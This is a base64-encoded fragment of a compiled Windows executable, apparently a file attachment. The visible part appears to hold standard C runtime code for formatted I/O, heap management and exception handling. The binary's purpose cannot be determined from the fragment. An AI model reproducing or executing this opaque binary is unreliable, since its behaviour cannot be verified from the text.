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 